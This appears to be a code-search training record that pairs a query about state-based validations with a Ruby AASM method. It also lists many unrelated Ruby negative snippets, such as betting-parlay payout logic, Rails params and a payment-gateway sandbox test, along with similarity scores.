"def excede_control_de_pago_x_ticket(last_tickect_current_user, entrada)\n #verificar tipo de parlay de ese ticket:\n parlay_count = Jugadalot.where(:ticket_id => last_tickect_current_user).count\n #parlay_count\n\n #switch case para asignar tipo de jugada segun tipo de parlay para buscar en control de pago:\n tipo_jugada = \"default\" # valor vacio para posible uso fuera de contexto de septimetas en adelante, hacer que retorne false la funcion ok. (no encontrado)\n \n #el switch case lo haremos de modo simple con el if statement por ahora ok:\n if parlay_count.to_i == 1\n tipo_jugada = \"directo\" \n end\n\n if parlay_count.to_i == 2\n tipo_jugada = \"pale\" \n end\n\n if parlay_count.to_i == 3\n tipo_jugada = \"tripleta\" \n end\n\n if parlay_count.to_i == 4\n tipo_jugada = \"cuarteta\" \n end\n\n if parlay_count.to_i == 5\n tipo_jugada = \"quinteta\" \n end\n\n if parlay_count.to_i == 6\n tipo_jugada = \"sexteta\" \n end\n\n if parlay_count.to_i == 7\n tipo_jugada = \"septimeta\" \n end\n\n if parlay_count.to_i == 8\n tipo_jugada = \"octaveta\" \n end\n\n control_monto_max_pago = Controldepagogt.where(:tipojugada => tipo_jugada ).first.limitexticket.to_i\n\n #verificar posible pago: riesgo\n entrada = entrada[1..(entrada.size-1)] # \"SOBREESCRIBO ESTO ASI: ..250 => .250\" ESTO PARA QUE LUEGO SE TRANSFORME DE .250 A 250 DENTRO DE LA FUNCION. REUCUERDA QUE EN ESTA SECCION DE CODIGO ENTRADA DE DE COBRO FINAL NO DE EVALUACION DE PAGO: ..250 ES DE COBRO FINAL. OK. TED.\n riesgo = procesar_posible_pago(last_tickect_current_user, entrada)# procesar_posible_pago retorna array ok ted.\n\n if (riesgo != nil) # esto para evitar errores de nil. ya no necesario porue depuramos no jugadas vacias para computar pero lo dejaremos ok. ted\n if (riesgo[1].to_i <= control_monto_max_pago)\n false # no excede ok\n else\n true # execede\n end\n end\n\n end",
"def verificar_jugadas_contradictorias jugadalot\n #jugadalot es un object param\n # 4 tipos de jugadas: 0101, 0102, 0103, 0104\n jugadas = Jugadalot.where(:ticket_id => jugadalot.ticket_id) || [] # nil en caso de no encontrar jugadas de ese ticket_id, my remoto pero contemplarlo. \n respuesta = false\n\n comandos = []\n comando_actual = jugadalot.comandojugada # incluyo tambien la ultima jugada digitada en pantalla que aun no esta en la consulta del modelo. Esta jugada viene dentro del objeto recibido como param ok.\n\n jugadas.each do |jugada|\n comandos << jugada.comandojugada # capturar todos los comandos de las jugadas\n end\n #aplicar la logica de las jugadas contradictorias\n #la jugada contradictoria se verifica en cada entrada nueva, compara la que llega con las que estan?\n\n #si la jugada nueva es al cinta azul, verificar que no este esa misma pelea al cinta blanca y viceversa\n # comando_actual => \"0101\" por ejemplo\n if comando_actual[2..3] == \"01\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"2\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n\n if comando_actual[2..3] == \"02\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"1\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n\n if comando_actual[2..3] == \"03\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"4\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n\n if comando_actual[2..3] == \"04\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"3\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n \n end",
"def test_all_output_fields\n\t\ta = @a.request(\"한국전쟁\")\n\t\ti = a.items.first\n\t\tputs i.rc_type\n\t\tputs i.rc_code\n\t\tputs i.rc_rfile_no\n\t\tputs i.rc_ritem_no\n\t\tputs i.title\n\t\tputs i.mgt_org_name\n\t\tputs i.prod_name\n\t\tputs i.prod_year\n\t\tputs i.is_open\n\t\tputs i.arcave_type\n\t\tputs i.doc_type\n\t\tputs i.online_reading\n\t\tputs i.link\n\tend",
"def pay_wompi\n # se revisa si el viaje tiene ya un valor y tiene un viaje asignado y el id wompi status esten vacios no se halla ya enviado a wompi\n if !self.trip.total_fee.blank? && !self.trip.nil? && self.id_wompi.blank? && self.status.blank?\n # Metodo: encargado de generar una transaccion en wompi usando el valor en pesos referencia email y telefono\n transactions_nequi_wompi(self.trip.total_fee, self.trip.id.to_s, self.trip.rider.email, self.trip.rider.phone_number)\n end\n end",
"def grasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * ( sexo ? 1 : 0) - 5.4\n\tend",
"def resultatsTest\n @cadreInfo = CadreInfo.find_by_confirm_token(cookies.encrypted[:oiam_cadre])\n if @cadreInfo.nil?\n redirect_back(fallback_location: root_path)\n else\n unless @cadreInfo.potential_test\n flash[:notice] = \"En attente du résultat de votre test potential.\"\n @cadreInfo.update(potential_test:true)\n end\n end\n end",
"def desplegarProceso\n\t\tputs \"id=#{@id} cantBytes=#{@cantBytes} cantPaginas=#{@cantPaginas}\"\n\t\tputs \"marcosRealAsig=#{@marcosRealAsig} marcosSwapAsig=#{@marcosSwapAsig}\"\n\tend",
"def initialize (wiek, waga, nazwisko)\n\t\t@wiek = wiek\n\t\t@wlosy = \"blond\"\n\t\t@waga = waga\n\t\t@narod = \"Ukrainka\"\n\t\t@nazwisko = nazwisko\n\n\t\tpowiedz \"hej, jestem Julia #{@nazwisko}\"\n\tend",
"def noticias\n @vocalia = Vocalium.find(params[:id])\n @actual = \"Vocalia\"\n @noticias = Seccion.find(@vocalia.seccion_id).posts\n end",
"def answer\n @answer ||= self.result[\"Ares_odpovedi\"][\"Odpoved\"][\"Zaznam\"]\n end",
"def zgloszeny_params\n params.require(:zgloszenie).permit(:dzial_id, :data_zgloszenia, :opis_uszkodzenia, :nazwa_urzadzenia, :user_id, :wysylka, :priorytet, :status, :data_naprawy, :pracownikid, :zrealizowane, :visible)\n end",
"def silly_adjective; end",
"def as_wkt\r\n as_ewkt(false,false,false)\r\n end",
"def set_training\n data = CareerAdvisorWebServices.new(\"admin\",\"nagashri1\").get_code_for_title(params[:id])\n @key = data.present? ? data[0][\"onetsoc_code\"] : '00.000.00'\n end",
"def endorsement_certificate\n \n end",
"def informa(pippo)\n # 1. Calcolo i valori di c14_idaliquotaiva e la loro frequenza in lbooks\n ivaInLbooks = Lbook.gruppiIVA\n risultL = \"1. Segue hash ivaInLbooks: #{ivaInLbooks.inspect}\"\n pippo.scriviRiga(risultL)\n\n # 2. Calcolo i valori di idaliquotaiva e la loro frequenza in books\n ivaInBbooks = Book.gruppiIVA\n risultB = \"2. Segue hash ivaInBbooks: #{ivaInBbooks.inspect}\"\n pippo.scriviRiga(risultB) \nend",
"def northern_irish_driving_licence; end",
"def update\n if !current_user.yonetici?\n flash[:notice] = \"Bu öğrencinin kaydını güncelleyebilmeniz için yönetici izni gereklidir !!\"\n redirect_to new_ogrenci_path\n else\n if @ogrenci.update(ogrenci_params)\n redirect_to @ogrenci \n flash[:notice] = \"Ogrenci was successfully updated. !!\"\n end\n end\n end",
"def set_socioeduk_ocorrencia\n @socioeduk_ocorrencia = Socioeduk::Ocorrencia.find(params[:id])\n end",
"def kontrahenci_params\n params.require(:kontrahenci).permit(:system_id, :status_text_id, :nazwa, :nip, :www, :numer_tel, :numer_fak, :email, :opiekun_id)\n end",
"def azucaresIR\n\t\t((valorEnergeticoKJ.to_f*90)/8400).round(2)\n\tend",
"def berlioz; end",
"def fetch_api_codewars_kata_info\n private_fetch_kata\n end",
"def test_14\n customer_hash = {\n 'orderId' => '14',\n 'amount' => '3000',\n 'orderSource'=>'ecommerce',\n 'card'=>{\n 'number' =>'4457010200000247',\n 'expDate' => '0812',\n 'type' => 'VI'\n }\n }\n hash = customer_hash.merge(@@merchant_hash)\n auth_response = CnpOnlineRequest.new.authorization(hash)\n assert_equal('000', auth_response.authorizationResponse.response)\n assert_equal('Approved', auth_response.authorizationResponse.message)\n assert_equal('PREPAID', auth_response.authorizationResponse.enhancedAuthResponse.fundingSource['type']) #Ruby 1.8.7 has type as an attribute of Object\n assert_equal('2000', auth_response.authorizationResponse.enhancedAuthResponse.fundingSource.availableBalance)\n assert_equal('NO', auth_response.authorizationResponse.enhancedAuthResponse.fundingSource.reloadable)\n assert_equal('GIFT', auth_response.authorizationResponse.enhancedAuthResponse.fundingSource.prepaidCardType)\n end",
"def set_wypozyczenium\n @wypozyczenium = Wypozyczenium.find(params[:id])\n end",
"def create\n @zamowieny = Zamowieny.new(params[:zamowieny])\n \n\n respond_to do |format|\n if(@zamowieny.Ilosc.nil?)\n format.html { redirect_to(leks_url , :notice => 'Prosze wprowadzic ilosc leku.') }\n elsif(@zamowieny.Ilosc < 10 or @zamowieny.Ilosc > Lek.find(@zamowieny.lek_id).Ilosc )\n format.html { redirect_to(leks_url , :notice => 'Ilosc leku musi byc wieksza od 10 i mniejsza od ilosc leku w magazynie.') }\n elsif @zamowieny.save\n l = Lek.find(@zamowieny.lek_id)\n l.Ilosc = l.Ilosc - @zamowieny.Ilosc\n l.save\n format.html { redirect_to(@zamowieny, :notice => 'Zamowienie was successfully created.') }\n format.xml { render :xml => @zamowieny, :status => :created, :location => @zamowieny }\n \n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @zamowieny.errors, :status => :unprocessable_entity }\n end\n \n end\n \n end",
"def adjourn_points_giocataend\r\n # at the end of the game remain to calculate the primiera\r\n player1 = @players[0]\r\n player2 = @players[1]\r\n hand1 = @carte_prese[player1.name]\r\n hand2 = @carte_prese[player2.name]\r\n prim_res_arr = calculate_primiera(hand1, hand2)\r\n @log.debug(\"Primiera of #{player1.name}:#{prim_res_arr[0]}, #{player2.name}: #{prim_res_arr[1]}\")\r\n # update points on all players\r\n ix = 0\r\n [player1, player2].each do |pl|\r\n points_info = @points_curr_segno[pl.name]\r\n points_info[:primiera] = prim_res_arr[ix]\r\n #calculate total\r\n tot = 0\r\n points_info.each do |k,v|\r\n next if k == :tot\r\n tot += v\r\n end\r\n points_info[:tot] = tot\r\n ix += 1\r\n end\r\n end",
"def procesar_posible_pago(jugadalot, entrada)\n entrada = entrada[1..(entrada.size-1)] # \".250 => 250\" ok sacar monto apostado ok.\n apostado = entrada.to_f\n \n jugadas = Jugadalot.where(:ticket_id => jugadalot) || []\n \n if (jugadas == []) # esto es posible en rails probado ok. Si no hay jugadas returnal nil para que envie mensaje de realizar jugadas primero ok ted. Ver la logica del progrma que invoca esta funcion ok.\n return nil \n\n else\n #Hay jugadas para procesar la formula del parlay de posible pago ok:\\\n #ganancia = apostado * [coeficiente_jugada_parley_1] * [coeficiente_jugada_parley_2] * [coeficiente_jugada_parley_n] - apostado\n coeficiente_jugada_parley = []\n \n jugadas.each do |jugada|\n b = jugada.ml.to_s\n if( b[0] == \"-\" )# < 0 # -125 mando gavela macho, -110, -170\n coeficiente = (1.to_f + (100.to_f / b.to_f.abs)).to_f.round(4) # trabajar a 4 cifras decimales.\n else\n coeficiente = (1.to_f + ((b.to_f.abs) / 100.to_f)).to_f.round(4) # trabajar a 4 cifras decimales.\n end\n #puts coeficiente\n #debugger\n coeficiente_jugada_parley << coeficiente.to_f.round(4)\n end\n\n #multiplicar los elementos del array para obtener el coeficiente resultante\n #setear algunos casting primero, de string a int para multiplicar con inject\n #coeficiente_jugada_parley.map!(&:to_f) #inject(:*).round(4)\n # coeficiente_resultante = coeficiente_jugada_parley.inject(:*).round(4) # multiplica todos los elementos del array #sacado link:https://stackoverflow.com/questions/7050869/ruby-multiply-all-elements-of-an-array \n \n \n resultante_multiplicar = 1.to_f # 1 es el elemento neutro de la multiplicacion ok ted.\n \n coeficiente_jugada_parley.each do |coeficiente|\n resultante_multiplicar = (resultante_multiplicar.to_f * coeficiente.to_f.round(4)).round(4)\n end\n \n coeficiente_resultante = resultante_multiplicar.to_f.round(4)\n\n ganacia = ( (apostado.to_f * coeficiente_resultante.to_f) - apostado.to_f).to_i\n #ganacia = 18\n acobrar = (apostado + ganacia).to_i\n #lo de abajo comentado es para debug only ok. ted.\n #return apostado, \"#{ganacia}, ticketid:#{jugadalot}, ticketlines: #{jugadas.all.count}, apostado:#{apostado}, coeficiente:#{coeficiente_resultante}, aray:#{coeficiente_jugada_parley.join(\"|\")}, jugadas: #{jugadas.all.count}\", acobrar\n return apostado.to_i, ganacia, acobrar\n\n end # fin del if else end block ok\n \n\n end",
"def kierownik_params\n params.require(:kierownik).permit(:Imie, :Nazwisko, :Login, :Aktywny)\n end",
"def terpene; end",
"def interieur\n @kv = Kunstvoorwerp.includes(:kunstimage).find(params[:id])\n @kv_width = (@kv.kunstimage.dimensions.width / 3).ceil\n @kv_height = (@kv.kunstimage.dimensions.height / 3).ceil\n\n if params[:int] and @logged_in\n @interieur = Interieur.find_by_id(params[:int], conditions: { user_id: current_user.id})\n @interieur_height = @interieur.dimensions.height\n @interieur_width = @interieur.dimensions.width\n\n resizes_if_necessary\n else\n if @logged_in and [email protected]?\n if params[:ssid]\n if params[:cp]\n redirect_to :int => @me.interieurs[0].id, :ssid => params[:ssid], :cp => params[:cp]\n else\n redirect_to :int => @me.interieurs[0].id, :ssid => params[:ssid]\n end\n else\n redirect_to :int => @me.interieurs[0].id\n end\n end\n end\n \n @cp = 0\n if params[:ssid]\n # search session id\n @ssid = params[:ssid]\n if session[@ssid]\n spage = 0\n if params[:cp] and !params[:cp].blank? and is_a_number?(params[:cp])\n spage = (params[:cp].to_i * 20).ceil\n @cp = params[:cp]\n end\n @kvs = Kunstvoorwerp.find(:all, \n :conditions => session[@ssid][:where], \n :include => [:kunstimage, :user, :favourites],\n :order => session[@ssid][:sort], :offset => spage,\n :limit => 20)\n end\n else\n @kvs = Kunstvoorwerp.find(:all,\n :conditions => { active: true, user_id: @kv.user_id },\n :order => 'kunstvoorwerps.created_at DESC',\n :limit => 20)\n end\n @title = @kv.title \n end",
"def takipci_params\n params.require(:takipci).permit(:ad, :soyad)\n end",
"def obtenerOc(id) #CHECK\n\tjsonResponse = requestWebWithoutParams('GET', (ENV[\"url_oc\"]+\"obtener/\"+id.to_s))\n\tif(jsonResponse==false)\n\t\treturn jsonResponse\n\telse\n\t\tjsonResponse = jsonResponse.first\n\t\tparamsOc = { _id: jsonResponse['_id'],\n\t\t\t\tcliente: jsonResponse['cliente'],\n\t\t\t\tproveedor: jsonResponse['proveedor'],\n\t\t\t\tsku: jsonResponse['sku'],\n\t\t\t\tdireccion: '',\n\t\t\t\tfechaEntrega: jsonResponse['fechaEntrega'],\n\t\t\t\tprecioUnitario: jsonResponse['precioUnitario'],\n\t\t\t\tcantidadDespachada: jsonResponse['cantidadDespachada'],\n\t\t\t\tcantidad: jsonResponse['cantidad'],\n\t\t\t\tcanal: jsonResponse['canal'],\n\t\t\t\tfechaCreacion: jsonResponse['created_at'],\n\t\t\t\testado: jsonResponse['estado']\n\t\t}\n\t\treturn paramsOc\n\tend\nend",
"def akce_params\n params.require(:akce).permit(:id, :termin, :popis, :cena, :misto_srazu, :termin_date, \n :termin_time_hour, :termin_time_minute, :_destroy)\n end"
] |
[
"0.60940063",
"0.5989877",
"0.58565414",
"0.5734351",
"0.57070416",
"0.5628222",
"0.5613928",
"0.56125236",
"0.5598227",
"0.5569524",
"0.55633557",
"0.5550504",
"0.5524605",
"0.5455431",
"0.5447034",
"0.5406431",
"0.5386263",
"0.537698",
"0.5352016",
"0.53400075",
"0.5335104",
"0.5323678",
"0.5321759",
"0.5308079",
"0.52728975",
"0.52571964",
"0.5239278",
"0.5234368",
"0.5233647",
"0.52336395",
"0.52250785",
"0.52225447",
"0.52152306",
"0.51956344",
"0.5185962",
"0.5177351",
"0.5176189",
"0.51714444",
"0.51695997",
"0.5162096",
"0.51513785",
"0.5127452",
"0.5124453",
"0.5123649",
"0.51094705",
"0.51055765",
"0.50994664",
"0.5098414",
"0.50978273",
"0.50938493",
"0.50856024",
"0.5080655",
"0.50692946",
"0.5054395",
"0.5047205",
"0.5040398",
"0.50394386",
"0.50386184",
"0.5035463",
"0.5027893",
"0.502198",
"0.5021243",
"0.50112784",
"0.5006813",
"0.5004979",
"0.49963948",
"0.4994939",
"0.49837407",
"0.49832782",
"0.498171",
"0.49769962",
"0.49767622",
"0.49766746",
"0.4973846",
"0.49731794",
"0.49729338",
"0.49671158",
"0.4965048",
"0.49486798",
"0.49455205",
"0.49405727",
"0.4936491",
"0.49286285",
"0.49269462",
"0.4925023",
"0.49212947",
"0.49182078",
"0.49153686",
"0.4913406",
"0.4911928",
"0.4905831",
"0.4905609",
"0.49004474",
"0.48994172",
"0.48967114",
"0.48960394",
"0.48947784",
"0.4892314",
"0.4891055",
"0.4889579"
] |
0.6576078
|
0
|
request state to perform validations for
|
def aasm_states_to_check
created? ||
(planned? && !aasm_state_changed? ) || # exclude validation on transition from created to planned
started? ||
ignore_states
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_state(state = {}); end",
"def validate_state(state = {}); end",
"def set_accounting_validation_state(opts)\n opts = check_params(opts,[:states])\n super(opts)\n end",
"def accounting_validation_state\n super\n end",
"def validate\r\n @invalid=false\r\n end",
"def required_state(opts)\n opts = check_params(opts,[:field_names])\n super(opts)\n end",
"def validate\n end",
"def validate\n @invalid=false\n end",
"def validate_state\n errors.add(:state, \"must be yes, no or don't care\") unless state_changed? and %w(yes no dont_care).include? changes['state'][1]\n end",
"def is_valid; end",
"def validate!\n # pass\n end",
"def validate\r\n\r\n end",
"def validated; end",
"def valid; end",
"def validate\n valid?\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def validated?; end",
"def validate\n \n \n end",
"def validate; end",
"def validate; end",
"def validate; end",
"def validate; end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid\n @valid\n end",
"def validation; end",
"def validation; end",
"def validate_states!\n self.class.state_managers.each do |name, klass|\n # Simply ensuring that all of the state managers have been\n # instantiated will make the corresponding states valid\n unless state_managers[name]\n state_managers[name] = klass.new(self)\n end\n end\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def validate\n self._errors = {}\n self.run_hook :validate\n not self.errors?\n end",
"def is_valid\n\tend",
"def is_valid\n\tend",
"def validate\n validate_summary\n validate_duration\n validate_kind\n validate_state\n validate_created_at\n\n super\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def validate\n errors.clear\n instance_exec(&validate_block) if validate_block && get\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def with_validations(state = true)\n @validations = state\n @connection.offline_db(@db_name)\n @connection.set_db_options(@db_name, \"icv.enabled\" => @validations)\n @connection.online_db(@db_name, 'WAIT')\n\n self\n end",
"def validate!; end",
"def validate!; end",
"def validate!; end",
"def validate\n end",
"def validate\n end",
"def validate\n end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def verify(state) ; end",
"def do_validation \n return true if self.ok\n set_ok\n self.ok\n end",
"def attrs_for_states\n state_sym = state.to_sym\n\n case state_sym\n when :claimed\n validate_actor_and_timestamp_exist :claim\n when :missed\n validate_timestamp_exists :miss\n when :connected\n unless origin_connected?\n errors.add(:origin_status, \"must be '#{CONNECTED_STATUS}' when #{self.class.name} is #{state}\")\n end\n unless destination_connected?\n errors.add(:destination_connected, \"must be '#{CONNECTED_STATUS}' when #{self.class.name} is #{state}\")\n end\n when :disconnected\n if origin_connected? && destination_connected?\n errors.add(:base, \"Both origin and destination can't be '#{CONNECTED_STATUS}' when #{self.class.name} is #{state}\")\n end\n when :ended\n validate_actor_and_timestamp_exist :end\n when :merged\n if merged_into_phone_call_id.nil?\n errors.add(:merged_into_phone_call_id, \"must specify a phone call when #{self.class.name} is #{state}\")\n end\n end\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def invalid?\n !@state\n end",
"def verification_state\n super\n end",
"def eval_custom_validator_block(state, original_state = nil)\n yield(state, original_state)\n invalid!(state) if state.errors.present?\n state\n end",
"def valid?\n validate\n end",
"def validate\r\n validate! rescue false\r\n end",
"def validate\n\n end",
"def validate\n end",
"def validate\n end",
"def validate\n end",
"def validate\n true\n end",
"def set_validate_checksum_state(opts)\n opts = check_params(opts,[:states])\n super(opts)\n end",
"def validate\n # add errors if not validate\n end",
"def validate!\n true\n end",
"def is_valid?\n end",
"def validating?\n @validating\n end",
"def validations\n {}\n end",
"def validate_request!\n validate_accounts_presence!\n validate_account_funds!\n\n transaction_create_model.validate!\n end",
"def is_valid\n return true\n end",
"def validate!\n\t\t\t\treturn true\n\t\t\tend",
"def _always_valid!\n @always_valid = true\n self\n end",
"def set_verification_state(opts)\n opts = check_params(opts,[:states])\n super(opts)\n end",
"def initialize(params = {})\n super\n self.is_valid = true\n end",
"def validator; end",
"def validate_request(call)\n call.validate_request\n end",
"def validate!\n validate_redis\n validate_workers\n validate_options\n end",
"def run_validations\n true\n end",
"def valid?\n end",
"def valid?\n end",
"def valid?\n end",
"def valid?\n end",
"def validate_settings\n end",
"def extra_validations\n success\n end",
"def perform\n validate_data_from_requests\n end",
"def validate_event; end",
"def validate\n errors.clear\n self.class.validator.invoke self\n end",
"def validate_build\n end",
"def valid?\n true\n end",
"def invalid\n @invalid\n end",
"def valid?\n\t\t\t\ttrue\n\t\t\tend",
"def validate\n original_status = self.validation_status\n self.transaction do\n self.validation_status = :validating\n self.validation.clear_errors\n bagit = BagIt::Bag.new(self.path)\n unless bagit.complete? and bagit.consistent?\n self.validation.be_invalid_with_errors(bagit.errors)\n return\n end\n self.validation_status = :valid\n end\n rescue Exception\n self.validation_status = original_status\n raise\n end",
"def check_validity!\n # nothing\n end",
"def valid?\n return false if @handle.nil?\n return false if @customer.nil?\n return false if @plan.nil?\n return false if @state.nil?\n state_validator = EnumAttributeValidator.new('String', [\"active\", \"expired\", \"on_hold\", \"pending\"])\n return false unless state_validator.valid?(@state)\n return false if @test.nil?\n return false if @quantity.nil?\n return false if @timezone.nil?\n return false if @created.nil?\n return false if @renewing.nil?\n return false if @plan_version.nil?\n return false if @start_date.nil?\n return false if @is_cancelled.nil?\n return false if @in_trial.nil?\n return false if @has_started.nil?\n return false if @renewal_count.nil?\n return false if @renewal_count < 0\n expire_reason_validator = EnumAttributeValidator.new('String', [\"dunning\", \"cancelled\", \"ondemand\", \"fixed\"])\n return false unless expire_reason_validator.valid?(@expire_reason)\n on_hold_reason_validator = EnumAttributeValidator.new('String', [\"dunning\", \"ondemand\"])\n return false unless on_hold_reason_validator.valid?(@on_hold_reason)\n return false if @payment_method_added.nil?\n return false if @reminder_email_sent.nil?\n return false if @failed_invoices.nil?\n return false if @failed_amount.nil?\n return false if @cancelled_invoices.nil?\n return false if @cancelled_amount.nil?\n return false if @pending_invoices.nil?\n return false if @pending_amount.nil?\n return false if @dunning_invoices.nil?\n return false if @dunning_amount.nil?\n return false if @settled_invoices.nil?\n return false if @settled_amount.nil?\n return false if @refunded_amount.nil?\n return false if @pending_additional_costs.nil?\n return false if @pending_additional_cost_amount.nil?\n return false if @transferred_additional_costs.nil?\n return false if @transferred_additional_cost_amount.nil?\n return false if @pending_credits.nil?\n return false if @pending_credit_amount.nil?\n return false if @transferred_credits.nil?\n return false if @transferred_credit_amount.nil?\n return false if @hosted_page_links.nil?\n return true\n end",
"def valid?\n @valid\n end",
"def valid?\n @valid\n end",
"def valid?\n @valid\n end",
"def valid?\n self.valid\n end",
"def valid?\n return false if @name.nil?\n return false if @value.nil?\n return false if @timestamp.nil?\n return false if @source_id.nil?\n return false if @source_label.nil?\n return false if @source.nil?\n source_validator = EnumAttributeValidator.new('String', [\"IMPORT\", \"API\", \"FORM\", \"ANALYTICS\", \"MIGRATION\", \"SALESFORCE\", \"INTEGRATION\", \"CONTACTS_WEB\", \"WAL_INCREMENTAL\", \"TASK\", \"EMAIL\", \"WORKFLOWS\", \"CALCULATED\", \"SOCIAL\", \"BATCH_UPDATE\", \"SIGNALS\", \"BIDEN\", \"DEFAULT\", \"COMPANIES\", \"DEALS\", \"ASSISTS\", \"PRESENTATIONS\", \"TALLY\", \"SIDEKICK\", \"CRM_UI\", \"MERGE_CONTACTS\", \"PORTAL_USER_ASSOCIATOR\", \"INTEGRATIONS_PLATFORM\", \"BCC_TO_CRM\", \"FORWARD_TO_CRM\", \"ENGAGEMENTS\", \"SALES\", \"HEISENBERG\", \"LEADIN\", \"GMAIL_INTEGRATION\", \"ACADEMY\", \"SALES_MESSAGES\", \"AVATARS_SERVICE\", \"MERGE_COMPANIES\", \"SEQUENCES\", \"COMPANY_FAMILIES\", \"MOBILE_IOS\", \"MOBILE_ANDROID\", \"CONTACTS\", \"ASSOCIATIONS\", \"EXTENSION\", \"SUCCESS\", \"BOT\", \"INTEGRATIONS_SYNC\", \"AUTOMATION_PLATFORM\", \"CONVERSATIONS\", \"EMAIL_INTEGRATION\", \"CONTENT_MEMBERSHIP\", \"QUOTES\", \"BET_ASSIGNMENT\", \"QUOTAS\", \"BET_CRM_CONNECTOR\", \"MEETINGS\", \"MERGE_OBJECTS\", \"RECYCLING_BIN\", \"ADS\", \"AI_GROUP\", \"COMMUNICATOR\", \"SETTINGS\", \"PROPERTY_SETTINGS\", \"PIPELINE_SETTINGS\", \"COMPANY_INSIGHTS\", \"BEHAVIORAL_EVENTS\", \"PAYMENTS\", \"GOALS\", \"PORTAL_OBJECT_SYNC\", \"APPROVALS\", \"FILE_MANAGER\", \"MARKETPLACE\", \"INTERNAL_PROCESSING\", \"FORECASTING\", \"SLACK_INTEGRATION\", \"CRM_UI_BULK_ACTION\", \"WORKFLOW_CONTACT_DELETE_ACTION\"])\n return false unless source_validator.valid?(@source)\n return false if @selected_by_user.nil?\n return false if @selected_by_user_timestamp.nil?\n return false if @source_vid.nil?\n return false if @source_metadata.nil?\n return false if @request_id.nil?\n true\n end",
"def valid?(_) true end"
] |
[
"0.7288715",
"0.7288715",
"0.67898077",
"0.6746589",
"0.6745949",
"0.67400205",
"0.668152",
"0.6656516",
"0.662978",
"0.65482414",
"0.654305",
"0.65348554",
"0.6527186",
"0.6511961",
"0.65064824",
"0.6502677",
"0.64900047",
"0.64589417",
"0.6456274",
"0.6454208",
"0.6454208",
"0.6454208",
"0.6454208",
"0.6453457",
"0.6447176",
"0.644051",
"0.644051",
"0.64364594",
"0.64225256",
"0.63966787",
"0.6388675",
"0.6388675",
"0.6370052",
"0.6367609",
"0.6367609",
"0.6352583",
"0.6328471",
"0.63164514",
"0.6311777",
"0.6311777",
"0.6311777",
"0.63085496",
"0.63085496",
"0.63085496",
"0.6304863",
"0.6304863",
"0.6304863",
"0.6304863",
"0.6304863",
"0.62910414",
"0.6279438",
"0.62609345",
"0.6246285",
"0.62421346",
"0.62414503",
"0.62276095",
"0.6219429",
"0.62061954",
"0.6196894",
"0.6193897",
"0.6193897",
"0.6193897",
"0.61932003",
"0.6192079",
"0.61875784",
"0.6180421",
"0.6179405",
"0.61763906",
"0.6167061",
"0.6152697",
"0.6142928",
"0.6113519",
"0.60966843",
